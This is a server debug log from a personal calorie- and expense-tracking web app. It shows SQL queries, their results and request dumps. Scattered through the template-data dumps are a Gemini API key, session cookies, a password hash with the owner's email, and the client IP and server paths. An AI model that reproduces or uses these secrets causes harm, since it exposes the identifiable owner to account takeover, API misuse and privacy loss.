      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T02:30:49.593Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '48',
    surplus_or_deficit: '2352',
    status_flag: 2
  }
]
2025-12-16T03:43:59.897Z server-connect:router Serving templateView /
2025-12-16T03:43:59.898Z server-connect:app Executing action step identify
2025-12-16T03:43:59.898Z server-connect:app options: { provider: 'security' }
2025-12-16T03:43:59.945Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-16T03:43:59.948Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-16T03:43:59.992Z server-connect:output identity: 1
2025-12-16T03:43:59.992Z server-connect:app Executing action step restrict
2025-12-16T03:43:59.992Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T03:43:59.992Z server-connect:output restrict: undefined
2025-12-16T03:43:59.992Z server-connect:app Executing action step restrict
2025-12-16T03:43:59.992Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T03:43:59.993Z server-connect:output restrict: undefined
2025-12-16T03:43:59.993Z server-connect:router Render template layouts/main
2025-12-16T03:43:59.993Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.896Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AKS9%2BMaKAiRy7yqO5k6Rtcw%3D%3D.U0LvgN4RbG2UwcBIFkCYmVIRtZw%2Bwdp0gtbW4LydSywUYRfTQlkQLVQDfnKZUOytkRVNfTDZt%2F13JcAM%2FiiDn1Fe5G95hO9TrcHmuWCNbURAFCL%2FmmMkbR%2FbgXTkB3UbUJe3Z%2BpvcULYOUqlMVLhcdmNoVOpjL%2BEmqPAjSWvaqo%3D.FoK9Ekyu89rssbflMN%2Fqo2hTqBQCGME47CbMztHrPuM',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T03:44:28.668Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T03:44:28.669Z server-connect:app Executing action step identify
2025-12-16T03:44:28.669Z server-connect:app options: { provider: 'security' }
2025-12-16T03:44:28.669Z server-connect:output identity: 1
2025-12-16T03:44:28.669Z server-connect:app Executing action step restrict
2025-12-16T03:44:28.669Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:44:28.669Z server-connect:output restrict: undefined
2025-12-16T03:44:28.669Z server-connect:app Executing action step select
2025-12-16T03:44:28.669Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T03:44:28.675Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T03:44:28.676Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T03:44:28.676Z server-connect:app Executing action step identify
2025-12-16T03:44:28.676Z server-connect:app options: { provider: 'security' }
2025-12-16T03:44:28.676Z server-connect:output identity: 1
2025-12-16T03:44:28.677Z server-connect:app Executing action step restrict
2025-12-16T03:44:28.677Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:44:28.677Z server-connect:output restrict: undefined
2025-12-16T03:44:28.677Z server-connect:app Executing action step single
2025-12-16T03:44:28.677Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T03:44:28.677Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T03:44:30.447Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T03:44:30.448Z server-connect:app Executing action step identify
2025-12-16T03:44:30.448Z server-connect:app options: { provider: 'security' }
2025-12-16T03:44:30.448Z server-connect:output identity: 1
2025-12-16T03:44:30.448Z server-connect:app Executing action step restrict
2025-12-16T03:44:30.448Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T03:44:30.449Z server-connect:output restrict: undefined
2025-12-16T03:44:30.449Z server-connect:router Render template calorie-tracker
2025-12-16T03:44:30.449Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T03:44:30.661Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T03:44:30.662Z server-connect:app Executing action step identify
2025-12-16T03:44:30.662Z server-connect:app options: { provider: 'security' }
2025-12-16T03:44:30.662Z server-connect:output identity: 1
2025-12-16T03:44:30.662Z server-connect:app Executing action step restrict
2025-12-16T03:44:30.662Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T03:44:30.662Z server-connect:output restrict: undefined
2025-12-16T03:44:30.662Z server-connect:app Executing action step single
2025-12-16T03:44:30.662Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T03:44:30.664Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T03:44:30.664Z server-connect:app Executing action step select
2025-12-16T03:44:30.664Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T03:44:30.666Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  }
]
2025-12-16T03:44:30.666Z server-connect:app Executing action step setvalue
2025-12-16T03:44:30.666Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T03:44:30.666Z server-connect:output var_total: 48
2025-12-16T03:44:30.666Z server-connect:app Executing action step setvalue
2025-12-16T03:44:30.666Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T03:44:30.666Z server-connect:output var_consumed: 2
2025-12-16T03:44:30.666Z server-connect:app Executing action step setvalue
2025-12-16T03:44:30.666Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T03:44:30.666Z server-connect:output var_deficit: 2352
2025-12-16T03:44:30.666Z server-connect:app Executing action step custom
2025-12-16T03:44:30.666Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
